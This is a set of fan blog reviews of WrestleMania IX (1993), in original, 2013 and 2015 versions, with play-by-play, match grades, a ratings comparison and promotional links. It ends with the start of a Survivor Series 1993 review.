Wrestlemania Count-Up – Wrestlemania IX (2015 Redo): Double Take

IMG Credit: WWE

Wrestlemania IX
Date: April 4, 1993
Location: Caesars Palace, Las Vegas, Nevada
Attendance: 16,891
Commentators: Jim Ross, Bobby Heenan, Randy Savage

In one of the major moments of the show, Jim Ross (JR) makes his WWF debut and talks about the main events before taking his place as lead commentator. I really could have gone through life without ever seeing him in a toga.

Finkus Maximus (just go with it) introduces Caesar and Cleopatra on an elephant while JR gives a history of elephants and Rome. This is kind of missing the point of a wrestling show but Randy Savage is brought out on a sedan to make things a bit better. To really cap it off, Heenan comes out riding a camel backwards.

Intercontinental Title: Shawn Michaels vs. Tatanka

The champ grabs a headlock for a bit before going up top, only to dive into an armdrag. More weak armdrags send Shawn to the mat before he channels his inner Nature Boy with a Flair Flip in the corner. A Tatanka chop knocks him off the apron so Shawn has to go to the eyes (another Flair standard) to get a breather. Things speed up until Shawn charges into an atomic drop and gets caught in a DDT.

Shawn leaves and Luna slams Sherri on the floor.

Headshrinkers vs. Steiner Brothers

The Headshrinkers are Samu and Fatu (later known as Rikishi) and the Steiners are Rick and Scott, a pair of hard hitting amateur wrestling brothers. At the bell, JR debuts the term slobberknocker to make this one historic. Scott and Fatu get things going with Scott easily taking him down via a nice amateur double leg. Fatu tries to make it into a slugout but Scott just takes his head off with a clothesline. The Headshrinkers double team Scott down so he and Rick get up on the same buckle for stereo top rope clotheslines. That looked awesome.

Call the Hotline!

Crush vs. Doink the Clown

Crush is a now big power guy from Hawaii in bright purple and orange. Doink has an umbrella with him but Crush knocks it out of his hands and rams the clown face first into the post. Some right hands to the face have no effect on Crush so he grabs a neckbreaker and keeps up the beating. Doink finally gets a break by guillotining him across the top rope. A piledriver gets no cover so Doink rams him into the post. Heenan: “Break the pineapple head!”

Razor Ramon vs. Bob Backlund

Ramon debuted late last year but the crowd is rapidly turning him face. Backlund is an old veteran who is making a nostalgia run and having some good matches despite being in his early 40s and being out of the ring for years. Ever the good sport, Backlund offers a handshake but gets a toothpick to the chest for his efforts. A LOUD Razor chant starts us off as JR hypes up the Hotline. Backlund starts fast by sweeping the leg a few times so Razor punches him in the jaw.

Ad for King of the Ring.

Tag Team Titles: Mega Maniacs vs. Money Inc.

Money Inc is defending and Hogan comes in with a black eye, with explanations ranging from a jet-ski accident (official and most likely story), DiBiase hiring a bunch of people to attack him (storyline story) and Randy Savage punching him in the face over accusations that Hogan was sleeping with Elizabeth when she and Savage were still married (possibly true). Beefcake has a metal mask to protect his face and the team gets a decent but certainly not great reaction.

Hogan finally mixes up the offense with a big boot before going back to the right hands. A Piper style poke to the eye is enough to send Money Inc. walking but the referee says if they walk out, the titles change hands. As usual, Hogan has some corrupt official helping him out. Back in again and Heenan gets very close to accusing Savage of having something to do with the black eye.

Lex Luger vs. Mr. Perfect

Luger is still the Narcissist and comes out with some barely clothed women that have the announcers drooling. They trade wristlocks to start and Perfect shoves the much stronger Luger into the corner. A big running knee lift knocks Luger down and a dropkick sends him to the floor as this is almost all Perfect so far.

Gorilla previews the rest of the show.

Giant Gonzalez vs. Undertaker

Call the Hotline!

Oh and one more thing: Hogan wants the first shot either at Bret or at “the Jap” if he wins the title. As for a prediction, he thinks the title is staying in the USA in the match between a Canadian and a Polynesian wrestler billed from Japan. As usual, Hulk never was one for the most in depth thinking in the world.

Todd Pettengill (a very stupid interviewer) interviews some frat boys.

WWF World Title: Yokozuna vs. Bret Hart

The 505lb Yokozuna is challenging and has Mr. Fuji in his corner. The announcers have spent most of the show talking about how Bret is the huge underdog after being knocked out by Luger, sat on by Yokozuna and then just being in trouble against the monster in general. Bret charges across the ring for a running dropkick and some right hands, only to have Yokozuna shove him down and shoulder him out to the floor.

Back up and Bret gets his feet up in the corner, setting up something like a middle rope bulldog for two. That earns the champ a superkick and another nerve hold to continue boring the crowd. Heenan points out the stupidity of the USA chants as Bret fights up and gets a better middle rope bulldog for another two.

A pair of clotheslines put Yokozuna down for half a second so Bret punches away in the corner. Yokozuna shoves him so hard that the turnbuckle pad is pulled off, only to have Bret ram the monster face first into it. The Sharpshooter actually goes on but Fuji throws salt in his eyes, giving Yokozuna the pin and the title at 8:56.

WWF World Title: Hulk Hogan vs. Yokozuna

Ratings Comparison

Tatanka vs. Shawn Michaels

Original: B+

2013 Redo: B

2015 Redo: B

Steiner Brothers vs. Headshrinkers

Original: B+

2013 Redo: B

2015 Redo: A-

Doink the Clown vs. Crush

Original: D

2013 Redo: D+

2015 Redo: D

Razor Ramon vs. Bob Backlund

Original: C-

2013 Redo: D

2015 Redo: D

Money Inc. vs. Mega Maniacs

Original: C+

2013 Redo: D+

2015 Redo: D

Lex Luger vs. Mr. Perfect

Original: C-

2013 Redo: C

2015 Redo: D+

Undertaker vs. Giant Gonzalez

Original: F+

2013 Redo: D-

2015 Redo: F

Yokozuna vs. Bret Hart

Original: D+

2013 Redo: D+

2015 Redo: D+

Yokozuna vs. Hulk Hogan

Original: N/A

2013 Redo: N/A

2015 Redo: N/A

Overall Rating

Original: F+

2013 Redo: D

2015 Redo: D

How is this a Wrestlemania?

http://kbwrestlingreviews.com/2011/03/16/history-of-wrestlemania-with-kb-wrestlemania-9-wrestlemania-goes-outside/

And the 2013 Redo:

http://kbwrestlingreviews.com/2013/03/18/wrestlemania-count-up-wrestlemania-ix-why-would-fuji-do-that/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania Count-Up – Wrestlemania IX (2013 Redo): Stupid People All Around

IMG Credit: WWE

Wrestlemania IX
Date: April 4, 1993
Location: Caesar’s Palace, Las Vegas, Nevada
Attendance: 16,981
Commentators: Jim Ross, Randy Savage, Bobby Heenan

Jim Ross debuts on WWF TV for the first time ever in a surprise jump from the other company. Granted it was about a year or so since JR was last seen but it was still surprising.

Cesar and Cleopatra are introduced to the crowd.

Randy Savage comes out on a sedan with the vestal virgins. Bobby Heenan is brought out riding a camel backwards, which he claims was supposed to be the sedan. Funny bit here.

Intercontinental Title: Tatanka vs. Shawn Michaels

Luna lays out Sherri while Tatanka celebrates not winning the title.

The Steiners are ready for the Headshrinkers.

Steiner Brothers vs. Headshrinkers

This should be solid stuff. The Shrinkers are Samu and Fatu (Rikishi) here. Historic moment: JR calls this match a slobberknocker, unleashing the term on the wrestling world. The Headshrinkers have Afa as their manager, which will be mentioned later. Scott and Fatu start things off and after being shoved by the Samoan, Scott easily takes him down by the legs. A big old Steiner Line flips Fatu inside out but the Headshrinkers take Scott into the corner to work him over.

Crush vs. Doink the Clown

Doink tries to crawl under the ring but gets hit with a gorilla press back in the ring. Crush puts on the head vice (finisher) but as Doink gets to the ropes, the referee is bumped. The vice goes on again but another Doink comes out from under the ring with the cast. He blasts Crush in the head with it and the original Doink gets the pin.

Razor Ramon vs. Bob Backlund

Tag Titles: Money Inc. vs. Mega Maniacs

Lex Luger vs. Mr. Perfect

That sounds pretty awesome on paper. Anyway, Luger is the Narcissist at this point and comes out with some women in bikinis with thongs, sending Heenan through the roof. Well over the top of the columns at least. Perfect gets a very solid pop here but he would be used sparingly until he left in the fall. They trade headlocks to start and Luger bails to the corner. Now they trade hammerlocks and Luger bails to the ropes again.

Perfect fights out of the corner with right hands but Luger scoops his legs and puts his own feet on the ropes for two. Mr. comes back with a nice sunset flip for two but a quick sleeper attempt is broken up. Back up and they slug it out a bit more with Perfect hitting a backdrop to take over. A slingshot sends Luger into the buckle and a forearm to the head gets two. Perfect hits a clothesline and neckbreaker for two each, as does a kind of missile dropkick. Luger wins the fight over a backslide and even though Perfect gets his feet in the ropes, Luger gets the pin anyway.

Luger knocks him out post match and leaves. Perfect finally staggers after him and the fight starts again, until Shawn Michaels helps beat up Perfect.

Savage yells at Heenan for supporting Luger too much.

Gorilla Monsoon talks about the remaining matches.

Giant Gonzalez vs. Undertaker

Rating: D-. Gonzalez was AWFUL which really hurt things a lot. The main issue Undertaker had at this point was no one had any idea what to do with him. They just had him fight monsters for years on end which you can only watch for so long. This story would be reused about 12 years later with Undertaker playing Undertaker, Daivari playing Wippleman and Great Khali playing Gonzalez.

Referees check on the unconscious Undertaker as Gonzalez chokeslams a referee. The fans chant for Hogan but a gong goes off and Taker staggers out to beat up the monster.

We recap Jim Duggan being destroyed by Yokozuna. The fat man did the same to Bret Hart as well, setting up this match. In the back, Hogan says he wants the first title shot against either Hart of the Jap. His words, not mine.

Todd Pettingill continues to annoy fans.

WWF World Title: Bret Hart vs. Yokozuna

Hogan runs out to check out Hart, so Mr. Fuji issues a challenge to Hogan for a title match RIGHT NOW. Bret tells Hogan to go get him and the fight is on.

WWF World Title: Hulk Hogan vs. Yokozuna

Fuji misses a salt through, clothesline, legdrop, new champion.

Ratings Comparison

Tatanka vs. Shawn Michaels

Original: B+

Redo: B

Steiner Brothers vs. Headshrinkers

Original: B+

Redo: B

Doink the Clown vs. Crush

Original: D

Redo: D+

Razor Ramon vs. Bob Backlund

Original: C-

Redo: D

Money Inc. vs. Mega Maniacs

Original: C+

Redo: D+

Lex Luger vs. Mr. Perfect

Original: C-

Redo: C

Undertaker vs. Giant Gonzalez

Original: F+

Redo: D-

Yokozuna vs. Bret Hart

Original: D+

Redo: D+

Yokozuna vs. Hulk Hogan

Original: N/A

Redo: N/A

Overall Rating

Original: F+

Redo: D

I actually liked it better this time. Man alive I must have been in a bad mood for the first one.

http://kbwrestlingreviews.com/2011/03/16/history-of-wrestlemania-with-kb-wrestlemania-9-wrestlemania-goes-outside/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania Count-Up – Wrestlemania IX (Original): Wrestlemania Recess

IMG Credit: WWE

Wrestlemania 9
Date: April 4, 1993
Location: Caesar’s Palace, Las Vegas, Nevada
Attendance: 16,891
Commentators: Jim Ross, Bobby Heenan, Randy Savage

This is considered to be one of the weakest Wrestlemanias in history and I think that’s an accurate statement. Looking at the announced card, which was only eight matches long, I only see 2-3 that I would put on a Wrestlemania. Your main event for this evening is Bret Hart vs. Yokozuna, which is ok, but just doesn’t scream WM main event to me.

What amazes me the most about it though was this show was so packed they had to cancel one of the matches: Bam Bam Bigelow vs. Kamala. The theme of the show is the world’s largest toga (toga, toga, toga) party. Why does this scream BAD IDEA to me? Seriously, what’s the point behind this? It made the show seem stupid overall, but that’s just me. Anyway, let’s get started.

Our show opens with no National Anthem or America the Beautiful. What a crock already. After that, we see Gorilla Monsoon in a toga. God help me. He is our host for the evening, whatever that means. He welcomes us to the show, and throws it over to….Jim Ross? This was Ross’ debut and I vividly remember being stunned to see him in the WWF as he had been the commentator for WCW my entire life.

Ross runs down the double main event of Hogan and Beefcake vs. Money Inc. for the tag belts and the already mentioned WWF Title match. He throws it to Finkus Maximus, which is something even I couldn’t make up, who introduces Caesar and Cleopatra on an elephant, which Ross gives us a history lesson on. Macho Man is then introduced riding a sedan which is like a couch that’s carried as beautiful women feed him grapes.

Then in one of the funniest scenes in WWF history, Bobby Heenan comes in on a camel, but for some reason he’s riding it backwards. He gets to the broadcast position and is a mess, which is kind of funny. Finally, after almost 10 minutes of intros, it’s time for a match.

Intercontinental Title: Shawn Michaels vs. Tatanka

Michaels had dumped Sherri since last year but now is accompanied by Luna Vachon, who is proof that not all divas are hot. Tatanka is out next and he has never lost a one on one match. Sherri follows Tatanka out, yet it’s made clear she’s not with him. So they have stalkers now. Hey they match! Tatanka had pinned Shawn twice leading up to this match, once in a singles match and once in a 6 man.

Some of Savage’s comments to Heenan, such as shut up camel breath are just funny to me. There’s the first bell, eleven minutes into the show. The outside look is really cool here. They feel each other out at a rather fast pace to start. Top wristlock goes to Shawn and he follows it up with a headlock. Down to the mat with Shawn totally in control.

Tatanka gets a belly to back to escape and a SWEET counter of a top rope clothesline with an arm drag. Shawn to the floor and the girls have a staredown of awkward proportions. Back in and the stereotype works over Shawn’s arm which is apparently hurt coming into this one. Shawn hits a clothesline but it hurts him even further so it wasn’t worth it at all. Anytime Shawn gets something going he hurts his arm again, this time ramming it into the post.

Bobby: She (Luna) is something. Ross: Yeah what is she? Tatanka gets a shoulder breaker out of nowhere but drops an elbow instead of covering. Top rope chop but still no cover. He goes up again and jumps down into what we would call Sweet Chin Music. Today that would kill a guy and be on a highlight reel for years but here it’s just a momentum changer. Luna and Sherri do nothing of note again during a staredown.

Clothesline from the apron to the floor takes down Tatanka. Shawn yells at Sherri and gets a chinlock for awhile. Modified victory roll gets two as this is getting a lot of time. Another victory roll is countered into an electric chair drop to put both guys down again. Double axe by Shawn gets nothing as Tatanka stereotypes up.

Superkick is blocked and Tatanka gets a top rope cross body for a long two. Slingshot puts Shawn into the post and gets a very close two. Powerslam gets an even closer two. This is getting really good now and Tatanka is sent to the floor. Shawn shoves the referee and Tatanka gets the Papoose to Go for the CHEAP DQ! Dang it that was good stuff and got nearly 20 minutes.

Rating: B+. Very solid match that got the time it needed. If it had a real ending, this would be an automatic A. Tatanka was something interesting. He didn’t lose for his first two years which is an amazing streak, longer than even Goldberg’s. Shawn wasn’t quite up to the level of awesome he would reach but it was coming soon. He benefited a lot from the advent of Raw as it gave him a bigger way to get noticed and to put it mildly, it worked. Well that and Razor Ramon plus a ladder.

Luna beats up Sherri post match.

The Steiners say they’re going to beat the Headshrinkers.

Headshrinkers vs. Steiners

Pretty random tag match here but it works ok I guess. It’s your standard face team vs. heel team so that’s fine. We get the first use of JR’s code saying it’s going to be a slobberknocker, meaning it’s going to be awful from a wrestling standpoint. I was always a Headshrinkers mark for some reason, just always liked them.

Scott and Fatu start us off. Steiners control early on which is expected. Oh I forgot to mention: Fatu of the Headshrinkers is more commonly known as Rikishi. In a NICE looking move, Scott and Rick both go up the same corner and hits stereo clotheslines on the Headshrinkers. Nice one indeed. We get breaking news that Luna attacked Sherri again, and somehow, I’m more interested in the match at hand. What a stunner.

Afa rams his guys’ heads together to wake them up a bit. The referee is Bill Alfonso, who you might know as Fonzie from ECW. He was RVD’s overly hyper manager. Samu gets a splash in the corner and Rick just drills him with a clothesline. Afa blasts Scott with what would become known as a kendo stick. Savage gets upset, Heenan doesn’t see the Headshrinkers cheating which is one of his trademarks.

Heenan says he can’t see right with sunglasses on and JR says he saw it too. Heenan says JR is wrong because he’s from Oklahoma. JR’s reaction is priceless. Out to the floor for more pounding on White Thunder. Scott slams one of their heads into the mat and gets kicked in the jaw with a sweet kick for it.

Heenan says his head is like Prudential. Savage: I don’t know what that means. Bobby: It means the rock is hard. Savage: I didn’t ask you Heenan. The commentary for this match is light years ahead of the match itself. Samu gets a dropkick to show off a bit. Off to the nerve hold now, a Samoan trademark. Heenan says Oklahoma is a suburb of Kentucky, which offends JR for some reason.

Samu goes up but misses the big headbutt and there’s the tag to Rick and an eruption. He rams their heads together which is of course, STUPID. Dude learn your stereotypes. Headshrinkers hit a double team version of the move we call the Stroke, leading to one Headshrinker putting Rick on their shoulders for what we would call a Doomsday Device. In a freaking SWEET counter, Rick catches Fatu in the air from on top of Samu’s shoulders in a belly to belly suplex. Looked just absolutely sick.

Back to Scott who nearly kills Fatu with a belly to belly overhead. Scott suddenly remembers he’s better than Rikishi and hits a Frankensteiner, which might be the most impressive move that anyone has ever regularly done, to get the pin. It’s a standing hurricanrana by a guy of Scott Steiner’s size. Think about that.

Rating: B+. I liked this match a lot. Both teams are very solid and some of the stuff they did in this match was simply great. Top level stuff here which surprises me greatly. The Steiners are just scary good when they’re on their game and this is no exception. That powerslam/suplex spot by Rick is absolutely amazing.

Doink the Clown is a screwed up individual. He dresses up a Caesar statue in clown makeup and we get a recap of Doink vs. Crush. Doink also says Crush will be seeing double vision.

Crush vs. Doink the Clown

Crush had one of the best looks of anyone I’d seen from this era. He seriously could have been something special if he’d cared even a little bit at all. He was a decent wrestler with good size and power. I’ve never gotten why he didn’t pan out. Definitely a solid face challenger if nothing else. At about 6’6 and over 300lbs, he was quick and very strong. What’s not to like here?

Doink runs around the ring to start but gets caught by the big Hawaiian that I think Savage wants to make sweet love to down by the pond. Crush beats the holy goodness out of Doink for the majority of the match with basic power stuff. His finishing move was a head crushing move which was always kind of odd but it worked I guess.

The clown gets a guillotine clothesline and starts a comeback here, but it doesn’t mean much. In case I wasn’t clear here, Crush is the face in this match. A pretty weak looking Piledriver keeps Crush down for a bit and then he’s sent into the post. Doink jumps into a boot though and here comes the big man.

Doink tries to hide under the ring but gets caught. Back in the ring, Crush uses his head vice finisher on Doink but the ref got bumped. Another Doink comes out and hits Crush in the back with a cast then in the head. This leads to a pin for the real Doink. They check under the ring, where the other Doink came from and went to. They check and no Doink.

Rating: D. A Squash leading to a bad ending means not a good match. This feud went nowhere for the most part and I think it went on until at least the King of the Ring. Crush would soon start a big push which stalled like no other for some reason. Still though, this was really bad.

Todd Pettingil talks to some Japanese fans and after the WWF makes bad racial jokes, Razor Ramon is headed to the ring.

Razor Ramon vs. Bob Backlund

It’s total filler with no backstory but it’s Backlund in his first Mania match which is impressive since he’s in his early to mid 40s. Razor is the heel here but to put it mildly, he’s very popular. And yet Backlund would be the next guy to win the world title.

Backlund offers a handshake to start but Razor throws a toothpick instead. This is before he had gone insane if you didn’t get that. BIG Razor chant starts up and of course isn’t acknowledged. Backlund keeps tripping him up and does his stupid little dance. I never got the point of that at all but he always did it.

Razor stomps away after a slam. Bret Hart was knocked out cold by Luger at the Mania brunch today. This wasn’t ever addressed after this for some reason. Backlund gets a butterfly suplex which was kind of impressive. Atomic drop, his former finisher, gets no cover. In a great ending, Razor gets a small package out of nowhere to end it. Heenan gets in a great line: he beat the wrestler with a wrestling move.

Rating: C-. Not great but not awful, the ending gives this a decent grade. It’s not terrible and the ending surprised me. Razor had debuted just after Mania 8 and was pushed to the moon. He even got a title shot at the Rumble this year in a forgotten match. The breaking news during this match of Bret being knocked out earlier in the day leads to nothing. The last line of he beat the wrestler with wrestling was great.

In the back we see Gene with Money Inc. The feud they’re involved in at the moment began on a Monday Night Raw (The first Mania that can be said at as the show debuted about 3 months prior to this) when DiBiase tried to hit Beefcake with a briefcase.

Beefcake had been legitimately huge in a parasailing accident over a year ago and his face was badly injured. This led to a great Heenan line of, “It serves him right. His face has hurt me for years.” This attack led to Beefcake getting his friend Hulk Hogan to return to help him.

Also Jimmy Hart jumped from Money Inc to Hogan and Beefcake. Lastly, the night before the show, Hogan was injured, resulting in huge bruises around his eye. Now what really happened to him?

According to the storyline, DiBiase hired a bunch of people to attack him. The WWF said he was hurt in a jetski accident. The common theory in wrestling circles though is Savage thought Hogan and Liz (his real wife) were having an affair and beat the tar out of Hogan. Believe what you will.

Tag Titles: Money Inc. vs. Hulk Hogan and Brutus Beefcake

We get red smoke and Heenan says that can only mean one person. Then Jimmy Hart walks out. Just made me chuckle a bit. This is Hogan’s first match in a year and the pop kind of sucks. It’s big, but not mind blowing. The heels jump the heroes before the bell but Hogan and Beefcake fight them off with the music playing which always makes me mark out like crazy. There’s just something sweet about that.

We get to the real match which is actually quite good. I think just about everyone expected Hogan and Beefcake to somehow take the belts here. Money Inc. had absolutely dominated the tag division for over a year at this point so they were seen as very legit. The champions stall forever to get us started. That’s about what you would expect no?

Hogan’s eye looks terrible. IRS vs. Beefcake start us off. The champions beat him down and tag in and out but for some reason they don’t go after the face that much at all. IRS tries to hit him in the face like a very stupid man indeed. Beefcake takes over and off to Hogan who gets ten punches in the corner on the Million Dollar Man. It’s about five years too late but I guess it’s better than nothing.

More fast tagging by the challengers and Hogan gets a double axe off the middle rope to DiBiase who is getting destroyed here. They clear the ring again as this is one sided after a few minutes of the champions winning early on. The champions try to leave and we get the ten count thing like we did last year I think. Scratch that as it was at Summerslam.

Hogan vs. DiBiase again. Good old fashioned cheating has Money Inc right back in control though. Hogan does what he does best: gets his ass kicked. LONG Million Dollar Dream puts him down but he shakes his finger to get back up. He must be in that thing for two minutes or so. Beefcake comes in to put a sleeper on DiBiase to drive Heenan crazy.

Why does everything seem to go into slow motion during a Hogan match? It takes like a minute and a half to get the hot tag to Beefcake. IRS comes in as well and a cheap shot gives the champions the advantage again. Beefcake’s protective mask gets ripped off and his face gets beaten into oblivion which is always a good thing. Love him or hate him, the guy bumps like a master.

Beefcake finally gets a sleeper on IRS but DiBiase breaks it up causing the ref to go down. Hogan comes in and cleans house leading to a double cover. Jimmy Hart turns his jacket inside out, which just happens to be black and white striped in the biggest coincidence of ALL time (you have to say ALL time at any WM. It’s the law) and apparently they think that’s good enough to make him a referee.

Some pest of a referee comes out and ruins our celebration saying that there’s a DQ as Hogan used Beefcake’s metal mask to knock out Money Inc. Jimmy Hart beats up the other referee and we get Hogan’s music. Post match, Hogan poses and they steal IRS’ briefcase, which contains a brick and money.

Supposedly the brick caused it to hurt a lot worse, because of course hitting someone WITH A SOLID METAL BRIEFCASE didn’t hurt enough. There’s also money in it which Hogan gives to the fans. This literally goes on well over 5 minutes.

Rating: C+. This is a good tag match which is absolutely stunning in its own right. Hogan put on a great performance here as did Brutus. Money Inc was as great as ever and it boils down to a solid match. The main thing killing it was the ending. I mean REALLY?

Hogan hits has Jimmy get the pin and he celebrates? Dude, come the heck on now.It was really the best option, but I still hate it. This match works for one simple reason: it’s nearly 20 minutes long. Both faces get beaten down and we get a double comeback. There’s very little missing from it actually.

Mr. Perfect says he’ll break Luger’s winning streak.

Mr. Perfect vs. Lex Luger

The main perk here is Luger’s entrance with four chicks holding mirrors in gold thongs. Not bad at all. This sounds awesome on paper if nothing else. Luger has knocked out everyone he’s faced so far with the metal plate in his forearm. They fight over a wristlock to start and it’s a standoff. Big shot by Perfect and a knee lift sets up a dropkick and Luger hits the floor.

We talk about baseball as Heenan tries to explain the whole knockout thing and he says Savage knows a thing or two about baseball. That’s very true as he played in some minor leagues for White Sox, Reds and Cardinals organizations. Quite an athlete indeed. Perfect works on the knee which is smart as he can’t get knocked out from there.

LOUD chop by Perfect as he has controlled for the vast majority so far. As is my custom he gets reversed on a hard whip into the corner to give Luger the control. He gets a shot with the loaded arm into the back of Perfect to really take over. Backbreaker puts Perfect down even longer.

Perfect can’t keep anything going and Luger gets a cover with his feet on the ropes for two which Heenan blasts to no end. Powerslam gets two. Sunset flip gets two for Perfect and then hooks a sleeper for all of 2 seconds. Perfect keeps getting pin attempts but can’t get more than two on them. A slingshot puts luger into the buckle for two.

Missile dropkick gets a long two as Luger gets his foot on the rope. No heat at all on that either. They fight over a backslide and Luger leans forward enough to put Perfect’s feet in the ropes so that he can’t kick out for the pin. Post match Luger knocks him out with the forearm.

Rating: C-. Long and at least passable, but I couldn’t stand Luger’s gimmick at the time. The forearm was just a dumb way to end every single match and this is no exception. This was ok but it was really spotty at times and it never got into a flow at all. I’ve seen worse though.

Perfect goes looking for Luger. And for once he finds him and the fight is on again. Shawn jumps Perfect, starting their summer long feud.

Gorilla pops up for no reason at all other than to tell us what two matches are left.

We recap Undertaker vs. Giant Gonzales. Undertaker feuded with Kamala in the fall and beat him. Harvey Whippleman, Kamala’s manager said he would get revenge, so at the Royal Rumble he brought out Gonzalez, who boardered on 7’8. He beat the tar out of Taker and eliminated him, leading to this match.

The feud doesn’t end here as it would finally be settled at the Survivor Series in a Rest in Peace match, which meant No DQ. In case you’re wondering where you’ve heard this story before, it’s THE EXACT same thing that happened with Muhammad Hassan, which led to Mark Henry who combined to play the role of Kamala and then the Great Khali as Gonzalez.

They had a manager that wanted revenge on Taker, then Taker got beaten up by them, then won a no rules match. That’s why old fans didn’t like the Taker/Khali feud: we knew exactly what was coming and we were exactly right.

Giant Gonzalez vs. Undertaker

This is the first Wrestlemania entrance for Undertaker where he’s brought out in a chariot with a vulture on his shoulder which was REALLY cool for its time and is still awesome today. This should sum up how big Gonzalez was: Taker is a big old dude and he comes up to Gonzalez’s chest. Clubbing blows get him nowhere and here comes Taker.

Gonzalez chokes Taker who gets on the second rope to choke back but gets a low blow for his trouble down in his little demons. A low blow is no sold and we go to School (In 1993 the School wasn’t old yet). This was in that really weird period that stretched to about 1996 when Foley got there where they had no idea what to do with Undertaker so they just had him fight giants.

Giant chokes Taker down until the Urn goes up into the air. Taker goes into the steps on the floor as it’s ALL Gonzalez. Heenan proclaims him dead and almost has a heart attack when Taker is like boy I’m the Undertaker and just stands up and keeps beating on Gonzalez. Taker beats him down before Harvey throws in a cloth covered in chloroform which puts Taker down but it’s a DQ anyway. Yep this is bad.

Rating: F+. The match itself was just bad as there was one simple flaw: Gonzalez was just terrible. He was too big to be able to properly do anything in the ring and it showed badly here. It’s the only thing close to a blemish on Taker’s Mania record and that’s a shame. The idea that the commentators could smell a small rag in an open area like that is ludicrous to say the least, especially after all of 5 seconds of it being out.

Taker stays down for a long time with Gonzalez standing over him in triumph. They stretcher him out which isn’t something you see every day. The fans chant for Hogan for a bit, but then a gong rings. Today that would blow the roof off the place (despite there being no roof here) but here it only gets a solid pop. He staggers out and beats the fur off of Gonzalez which makes me wonder: WHY IN THE WORLD DID THEY DO THE DQ ENDING???

Gene recaps the feud with Hart and Yoko, and then Hulk Hogan makes sure he has the spotlight at the end of the show as he has to talk about how he’s in Bret’s corner. Oh and he calls Yokozuna a Jap.

WWF Title: Bret Hart vs. Yokozuna

Yoko wins this shot based on winning the Rumble. When you look back, there was absolutely no doubt who was going to win here. The idea is that Bret has no chance and they’ve spent the entire show telling us that Bret has no chance. Guess what happens in the match.

The problem with this match is very simple: Yoko is too fat for Bret to do much with. Bret’s offense is completely unbelievable here and that’s not a knock on him as no one for the most part could do much against Yoko. That’s also not a knock on Yoko as he was a decent big man (bring it on Irish).

Bret is sent to the floor after a nice attack to start but it’s clear he’s going to be in trouble. He ties Yoko’s legs in the ropes and gets him down so he can hammer away. Savage wants him to cover but is corrected by Heenan in a bizarre moment. Clothesline takes Bret down almost as soon as Yoko gets to his feet. Leg drop half kills Bret for no cover. The fans chant USA for their Canadian champion.

Bret gets a boot up for a BIG pop and a bulldog/jump on his back gets two. Side kick puts Bret right back down as this is bordering on a squash so far. Off to the nerve hold now which is basically a way to waste some time, which in a 9 minute match is rather stupid. Oh and all of Bret’s fans are Hulkamaniacs. Heenan points out the stupidity of the USA chants and is ignored. Bret gets in all the offense he can which is more or less getting him nowhere.

FINALLY he gets something as the buckle is exposed and Yoko’s head goes into it, sending him down to his stomach. Bret puts on a shockingly passable sharpshooter and the crowd is shocked. Mr. Fuji then throws salt into Bret’s eyes allowing Yoko to pin him for the title. Now let’s break down why this ending is so bad. Bret gets the sharpshooter on after Yoko shows no sign of his knees being hurt by Bret’s offense on them. I’ll let that go though as it’s a solid move that would hurt enough for a quick submission.

Fuji has done almost nothing all match. Bret sees him right in front of him as he takes FOREVER to get the salt out and throw it. Are you telling me Bret couldn’t have, I don’t know, CLOSED HIS EYES??? The referee sees Bret holding his eyes, sees the cloud from the thrown salt and sees Fuji holding a package of salt and thinks nothing of this, and to top it off, salt in the eyes is enough to knock Bret out for a pin? Come on now.

Rating: D+. The size difference here was too much, the time was bad, and the finish was insulting to my intelligence. The wrestling is ok, but just barely. Bret fights valiantly for the full nine minutes of this match and yes you read that right. That’s the biggest issue most people have with this match and this Wrestlemania. The biggest match was less than 10 minutes long.

BUT WAIT!!!

Hulk Hogan comes out because he can’t handle a *gasp* young and talented guy taking the spotlight or something evil like that, so he explains to Fumbles McWhoops our referee what happened and apparently Fuji has match making abilities now as tells Hogan that Yoko will put the belt on the line right now. Bret points to the ring which apparently means go for it.

Hulk slides in and we’re off to the races one more time. The fans are happy, but looking back this is beyond stupid. WHY would Fuji put the newly won title on the line against the greatest giant killer of all time after Yoko has had no rest while Hogan has rested for about half at least? And people wonder why the business was in so much of a hole as it was around this time.

WWF Title: Hulk Hogan vs. Yokozuna

Yoko attacks Hogan as he slides in then holds him for more salt. Hogan ducks, nails Fuji, clotheslines Yoko, drops the leg and wins his fifth title. No rating of course.

Hogan poses with the title as we go off the air.

Overall Rating: F+. This show is truly bad and the main reason behind that is the ending. Hulk Hogan had absolutely no need to come in and steal the spotlight all over again. I don’t care how big of a Hulkamaniac you are, and I’m a huge one, but there is no justification for that whatsoever.

Let Yoko leave with the belt and do this on Raw the next night. Aside from that, the rest of the matches are ok at best. There’s a few watchable matches here and there but there’s no reasoning to sit through the rest of the show for them. Wrestlemania isn’t supposed to be something you need to fast forward through to get to the decent stuff. BIG recommendation to avoid here as this might be the worst WM of all time.

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Survivor Series Count-Up – 1993 (2012 Redo): The Family Always Fights At The Holidays

IMG Credit: WWE

Survivor Series 1993
Date: November 24, 1993
Location: Boston Garden, Boston, Massachusetts
Attendance: 15,509
Commentators: Vince McMahon, Bobby Heenan

Team IRS vs. Team Razor Ramon

IRS, Adam Bomb, Diesel, Rick Martel

Razor Ramon, 1-2-3 Kid, Marty Jannetty, Mr. Perfect

